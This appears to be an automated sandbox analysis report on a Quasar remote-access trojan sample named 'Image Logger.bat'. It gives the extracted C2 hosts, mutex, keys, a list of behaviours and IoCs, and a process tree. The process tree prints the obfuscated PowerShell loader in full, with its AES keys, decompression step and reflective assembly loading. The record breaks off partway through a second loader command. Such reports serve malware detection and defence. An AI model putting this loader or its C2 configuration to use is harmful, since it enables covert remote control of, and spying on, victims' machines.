quasar | efd80dd8487437f58413be6e7d2da6ea866ae7626b3225dbf326e8c82c85e580

Analysis

max time kernel
150s
max time network
156s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
26-12-2024 12:04

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General

Target

Image Logger.bat
Size

12.8MB
MD5

a2e3e4286e8b22b3b021a6706b899dd7
SHA1

e6179204735421c3927f27c13f9751af1dce9bd2
SHA256

efd80dd8487437f58413be6e7d2da6ea866ae7626b3225dbf326e8c82c85e580
SHA512

3ff5d19accd1fa6765ffc3554bb9cfe3989eee4cf226c2ce7abbaff47a1586253ab1b408f4f9e47611ea7d2415f3298b12dfada1d1987d43c2efa16aac11e3e8
SSDEEP

49152:JZHKpAhg6/Ri76PuM0gcqQP+GBRa1SgA+754EU1kOeTUliFDvnrNqjdsusoj8nNc:e

Score

10^/10

quasar v15.6.3 | xen defense_evasion discovery spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v15.6.3 | xen

studies-royal.at.ply.gg:31849

usa-departments.at.ply.gg:37274

category-in.at.ply.gg:42204

Mutex

bd62476d-8a2b-4e05-a8e5-68cc94baac4f

Attributes

encryption_key
AA41DD5506DCFCA6EE3BF934CC3C9319F80E5E10
install_name
.exe
log_directory
$sxr-Logs
reconnect_delay
5000
startup_key
$sxr-seroxen

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral3/memory/3004-64-0x0000025800000000-0x00000258007BC000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 2908 created 648	2908	Image Logger.bat.exe	5
PID 3004 created 648	3004	$sxr-powershell.exe	5
PID 3004 created 648	3004	$sxr-powershell.exe	5
PID 2908 created 648	2908	Image Logger.bat.exe	5
PID 2908 created 648	2908	Image Logger.bat.exe	5

Deletes itself 1 IoCs

pid	Process
2908	Image Logger.bat.exe

Executes dropped EXE 3 IoCs

pid	Process
2908	Image Logger.bat.exe
3004	$sxr-powershell.exe
2192	$sxr-powershell.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe

Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
3004	$sxr-powershell.exe
2192	$sxr-powershell.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File created	C:\Windows\System32\ucrtbased.dll	Image Logger.bat.exe
File created	C:\Windows\System32\vcruntime140d.dll	Image Logger.bat.exe
File opened for modification	C:\Windows\System32\ucrtbased.dll	$sxr-powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\System32\vcruntime140_1d.dll	Image Logger.bat.exe
File opened for modification	C:\Windows\System32\ucrtbased.dll	Image Logger.bat.exe
File opened for modification	C:\Windows\System32\vcruntime140_1d.dll	Image Logger.bat.exe
File opened for modification	C:\Windows\System32\vcruntime140d.dll	Image Logger.bat.exe
File opened for modification	C:\Windows\System32\vcruntime140_1d.dll	$sxr-powershell.exe
File opened for modification	C:\Windows\System32\vcruntime140d.dll	$sxr-powershell.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 2908 set thread context of 4832	2908	Image Logger.bat.exe	81
PID 3004 set thread context of 1936	3004	$sxr-powershell.exe	83
PID 3004 set thread context of 2504	3004	$sxr-powershell.exe	85
PID 2908 set thread context of 2408	2908	Image Logger.bat.exe	86
PID 2908 set thread context of 3192	2908	Image Logger.bat.exe	87

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe
File opened for modification	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe
File created	C:\Windows\$sxr-powershell.exe	Image Logger.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	Image Logger.bat.exe
File created	C:\Windows\$sxr-mshta.exe	Image Logger.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	Image Logger.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
840	cmd.exe
4060	PING.EXE

Kills process with taskkill 1 IoCs

evasion

pid	Process
4692	taskkill.exe

Modifies data under HKEY_USERS 14 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1735214770"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 26 Dec 2024 12:06:11 GMT"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={26437985-3C77-4515-B645-E9F0E2065DEB}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4060	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2908	Image Logger.bat.exe
2908	Image Logger.bat.exe
2908	Image Logger.bat.exe
4832	dllhost.exe
4832	dllhost.exe
4832	dllhost.exe
4832	dllhost.exe
2908	Image Logger.bat.exe
2908	Image Logger.bat.exe
3004	$sxr-powershell.exe
3004	$sxr-powershell.exe
3004	$sxr-powershell.exe
3004	$sxr-powershell.exe
1936	dllhost.exe
1936	dllhost.exe
1936	dllhost.exe
1936	dllhost.exe
3004	$sxr-powershell.exe
3004	$sxr-powershell.exe
2192	$sxr-powershell.exe
2192	$sxr-powershell.exe
3004	$sxr-powershell.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2192	$sxr-powershell.exe
2192	$sxr-powershell.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2908	Image Logger.bat.exe
Token: SeDebugPrivilege	2908	Image Logger.bat.exe
Token: SeDebugPrivilege	4832	dllhost.exe
Token: SeDebugPrivilege	3004	$sxr-powershell.exe
Token: SeDebugPrivilege	3004	$sxr-powershell.exe
Token: SeDebugPrivilege	1936	dllhost.exe
Token: SeDebugPrivilege	2192	$sxr-powershell.exe
Token: SeDebugPrivilege	3004	$sxr-powershell.exe
Token: SeDebugPrivilege	2504	dllhost.exe
Token: SeShutdownPrivilege	3308	Explorer.EXE
Token: SeCreatePagefilePrivilege	3308	Explorer.EXE
Token: SeShutdownPrivilege	3308	Explorer.EXE
Token: SeCreatePagefilePrivilege	3308	Explorer.EXE
Token: SeShutdownPrivilege	3308	Explorer.EXE
Token: SeCreatePagefilePrivilege	3308	Explorer.EXE
Token: SeShutdownPrivilege	3308	Explorer.EXE
Token: SeCreatePagefilePrivilege	3308	Explorer.EXE
Token: SeShutdownPrivilege	3308	Explorer.EXE
Token: SeCreatePagefilePrivilege	3308	Explorer.EXE
Token: SeDebugPrivilege	2908	Image Logger.bat.exe
Token: SeDebugPrivilege	2408	dllhost.exe
Token: SeDebugPrivilege	2908	Image Logger.bat.exe
Token: SeDebugPrivilege	3192	dllhost.exe
Token: SeShutdownPrivilege	3308	Explorer.EXE
Token: SeCreatePagefilePrivilege	3308	Explorer.EXE
Token: SeShutdownPrivilege	3308	Explorer.EXE
Token: SeCreatePagefilePrivilege	3308	Explorer.EXE
Token: SeDebugPrivilege	4692	taskkill.exe
Token: SeAssignPrimaryTokenPrivilege	2656	svchost.exe
Token: SeIncreaseQuotaPrivilege	2656	svchost.exe
Token: SeSecurityPrivilege	2656	svchost.exe
Token: SeTakeOwnershipPrivilege	2656	svchost.exe
Token: SeLoadDriverPrivilege	2656	svchost.exe
Token: SeSystemtimePrivilege	2656	svchost.exe
Token: SeBackupPrivilege	2656	svchost.exe
Token: SeRestorePrivilege	2656	svchost.exe
Token: SeShutdownPrivilege	2656	svchost.exe
Token: SeSystemEnvironmentPrivilege	2656	svchost.exe
Token: SeUndockPrivilege	2656	svchost.exe
Token: SeManageVolumePrivilege	2656	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2656	svchost.exe
Token: SeIncreaseQuotaPrivilege	2656	svchost.exe
Token: SeSecurityPrivilege	2656	svchost.exe
Token: SeTakeOwnershipPrivilege	2656	svchost.exe
Token: SeLoadDriverPrivilege	2656	svchost.exe
Token: SeSystemtimePrivilege	2656	svchost.exe
Token: SeBackupPrivilege	2656	svchost.exe
Token: SeRestorePrivilege	2656	svchost.exe
Token: SeShutdownPrivilege	2656	svchost.exe
Token: SeSystemEnvironmentPrivilege	2656	svchost.exe
Token: SeUndockPrivilege	2656	svchost.exe
Token: SeManageVolumePrivilege	2656	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2656	svchost.exe
Token: SeIncreaseQuotaPrivilege	2656	svchost.exe
Token: SeSecurityPrivilege	2656	svchost.exe
Token: SeTakeOwnershipPrivilege	2656	svchost.exe
Token: SeLoadDriverPrivilege	2656	svchost.exe
Token: SeSystemtimePrivilege	2656	svchost.exe
Token: SeBackupPrivilege	2656	svchost.exe
Token: SeRestorePrivilege	2656	svchost.exe
Token: SeShutdownPrivilege	2656	svchost.exe
Token: SeSystemEnvironmentPrivilege	2656	svchost.exe
Token: SeUndockPrivilege	2656	svchost.exe
Token: SeManageVolumePrivilege	2656	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3004	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4940 wrote to memory of 1376	4940	cmd.exe	78
PID 4940 wrote to memory of 1376	4940	cmd.exe	78
PID 1376 wrote to memory of 1616	1376	net.exe	79
PID 1376 wrote to memory of 1616	1376	net.exe	79
PID 4940 wrote to memory of 2908	4940	cmd.exe	80
PID 4940 wrote to memory of 2908	4940	cmd.exe	80
PID 2908 wrote to memory of 4832	2908	Image Logger.bat.exe	81
PID 2908 wrote to memory of 4832	2908	Image Logger.bat.exe	81
PID 2908 wrote to memory of 4832	2908	Image Logger.bat.exe	81
PID 2908 wrote to memory of 4832	2908	Image Logger.bat.exe	81
PID 2908 wrote to memory of 4832	2908	Image Logger.bat.exe	81
PID 2908 wrote to memory of 4832	2908	Image Logger.bat.exe	81
PID 2908 wrote to memory of 4832	2908	Image Logger.bat.exe	81
PID 2908 wrote to memory of 3004	2908	Image Logger.bat.exe	82
PID 2908 wrote to memory of 3004	2908	Image Logger.bat.exe	82
PID 3004 wrote to memory of 1936	3004	$sxr-powershell.exe	83
PID 3004 wrote to memory of 1936	3004	$sxr-powershell.exe	83
PID 3004 wrote to memory of 1936	3004	$sxr-powershell.exe	83
PID 3004 wrote to memory of 1936	3004	$sxr-powershell.exe	83
PID 3004 wrote to memory of 1936	3004	$sxr-powershell.exe	83
PID 3004 wrote to memory of 1936	3004	$sxr-powershell.exe	83
PID 3004 wrote to memory of 1936	3004	$sxr-powershell.exe	83
PID 3004 wrote to memory of 2192	3004	$sxr-powershell.exe	84
PID 3004 wrote to memory of 2192	3004	$sxr-powershell.exe	84
PID 3004 wrote to memory of 2504	3004	$sxr-powershell.exe	85
PID 3004 wrote to memory of 2504	3004	$sxr-powershell.exe	85
PID 3004 wrote to memory of 2504	3004	$sxr-powershell.exe	85
PID 3004 wrote to memory of 2504	3004	$sxr-powershell.exe	85
PID 3004 wrote to memory of 2504	3004	$sxr-powershell.exe	85
PID 3004 wrote to memory of 2504	3004	$sxr-powershell.exe	85
PID 3004 wrote to memory of 2504	3004	$sxr-powershell.exe	85
PID 3004 wrote to memory of 2504	3004	$sxr-powershell.exe	85
PID 3004 wrote to memory of 2504	3004	$sxr-powershell.exe	85
PID 2504 wrote to memory of 648	2504	dllhost.exe	5
PID 2504 wrote to memory of 704	2504	dllhost.exe	7
PID 2504 wrote to memory of 996	2504	dllhost.exe	12
PID 2504 wrote to memory of 488	2504	dllhost.exe	13
PID 2504 wrote to memory of 764	2504	dllhost.exe	14
PID 2504 wrote to memory of 692	2504	dllhost.exe	15
PID 2504 wrote to memory of 1100	2504	dllhost.exe	17
PID 2504 wrote to memory of 1148	2504	dllhost.exe	18
PID 2504 wrote to memory of 1156	2504	dllhost.exe	19
PID 2504 wrote to memory of 1192	2504	dllhost.exe	20
PID 2504 wrote to memory of 1276	2504	dllhost.exe	21
PID 2504 wrote to memory of 1316	2504	dllhost.exe	22
PID 2504 wrote to memory of 1360	2504	dllhost.exe	23
PID 2504 wrote to memory of 1400	2504	dllhost.exe	24
PID 2504 wrote to memory of 1520	2504	dllhost.exe	25
PID 2504 wrote to memory of 1588	2504	dllhost.exe	26
PID 2504 wrote to memory of 1596	2504	dllhost.exe	27
PID 2504 wrote to memory of 1636	2504	dllhost.exe	28
PID 2504 wrote to memory of 1688	2504	dllhost.exe	29
PID 2504 wrote to memory of 1736	2504	dllhost.exe	30
PID 2504 wrote to memory of 1796	2504	dllhost.exe	31
PID 2504 wrote to memory of 1868	2504	dllhost.exe	32
PID 2504 wrote to memory of 2008	2504	dllhost.exe	33
PID 2504 wrote to memory of 2036	2504	dllhost.exe	34
PID 2504 wrote to memory of 1932	2504	dllhost.exe	35
PID 2504 wrote to memory of 1988	2504	dllhost.exe	36
PID 2504 wrote to memory of 2144	2504	dllhost.exe	37
PID 2504 wrote to memory of 2220	2504	dllhost.exe	39
PID 2504 wrote to memory of 2284	2504	dllhost.exe	40
PID 2504 wrote to memory of 2508	2504	dllhost.exe	41
PID 2504 wrote to memory of 2536	2504	dllhost.exe	42

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
680	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:648
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:488
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{49482369-7d65-47b0-bb30-e64179115472}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4832
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{623dd44b-9292-40ea-8262-463c0ede8ff4}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1936
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f572ab18-744d-44c4-9f08-303ff4a266f0}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2504
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{be0e647a-2e17-4fd4-8c27-4db49e63a62d}
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2408
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{895a7788-535f-4dc5-b659-466985cf6d8f}
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3192

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:996

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1316
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2924

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1360

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1400

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1588

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1868

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1932

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1988

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2144

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2220

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2584

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3020

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2764

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Image Logger.bat"
  2⤵
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:4940
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2628
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1376
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1616
- - C:\Users\Admin\AppData\Local\Temp\Image Logger.bat.exe
    "Image Logger.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function mJkVt($luVLu){ $XURkq=[System.Security.Cryptography.Aes]::Create(); $XURkq.Mode=[System.Security.Cryptography.CipherMode]::CBC; $XURkq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $XURkq.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EJfVxric5nYI0sCifeM7QtCynXluiHdjC3MMcb2UUrA='); $XURkq.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IIC8RBkY6uF/2e5D1cUgfg=='); $XhpAT=$XURkq.CreateDecryptor(); $return_var=$XhpAT.TransformFinalBlock($luVLu, 0, $luVLu.Length); $XhpAT.Dispose(); $XURkq.Dispose(); $return_var;}function hLEOv($luVLu){ $SBbXV=New-Object System.IO.MemoryStream(,$luVLu); $RlXKT=New-Object System.IO.MemoryStream; $XPinw=New-Object System.IO.Compression.GZipStream($SBbXV, [IO.Compression.CompressionMode]::Decompress); $XPinw.CopyTo($RlXKT); $XPinw.Dispose(); $SBbXV.Dispose(); $RlXKT.Dispose(); $RlXKT.ToArray();}function tzqfR($luVLu,$MCcIJ){ $VEHZu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$luVLu); $cUkGe=$VEHZu.EntryPoint; $cUkGe.Invoke($null, $MCcIJ);}$flgbs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Image Logger.bat').Split([Environment]::NewLine);foreach ($zFvRn in $flgbs) { if ($zFvRn.StartsWith(':: ')) { $TRCCB=$zFvRn.Substring(4); break; }}$YrvSK=[string[]]$TRCCB.Split('\');$xplph=hLEOv (mJkVt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($YrvSK[0])));$vNzEy=hLEOv (mJkVt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($YrvSK[1])));tzqfR $vNzEy (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));tzqfR $xplph (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Deletes itself
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2908
  - - C:\Windows\$sxr-powershell.exe
      "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function GwNqo($hcWdd){ $GbeQA=[System.Security.Cryptography.Aes]::Create(); $GbeQA.Mode=[System.Security.Cryptography.CipherMode]::CBC; $GbeQA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $GbeQA.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw='); $GbeQA.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw=='); $Gzcae=$GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')(); $xZCEn=$Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hcWdd, 0, $hcWdd.Length); $Gzcae.Dispose(); $GbeQA.Dispose(); $xZCEn;}function KdelZ($hcWdd){ $xreea=New-Object System.IO.MemoryStream(,$hcWdd); $tUOxo=New-Object System.IO.MemoryStream; $AlcuH=New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::Decompress); $AlcuH.CopyTo($tUOxo); $AlcuH.Dispose(); $xreea.Dispose(); $tUOxo.Dispose(); $tUOxo.ToArray();}function XnBtD($hcWdd,$vCKUl){ $UUjhO=[System.Reflection.Assembly]::Load([byte[]]$hcWdd); $EYBYD=$UUjhO.EntryPoint; $EYBYD.Invoke($null, $vCKUl);}$GbeQA1 = New-Object System.Security.Cryptography.AesManaged;$GbeQA1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$rwFhy = $GbeQA1.('rotpyrceDetaerC'[-1..-15] -join '')();$uQajJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R8YHI2y3+bfC/arKVq+DpA==');$uQajJ = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ, 0, $uQajJ.Length);$uQajJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ);$ZldVv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 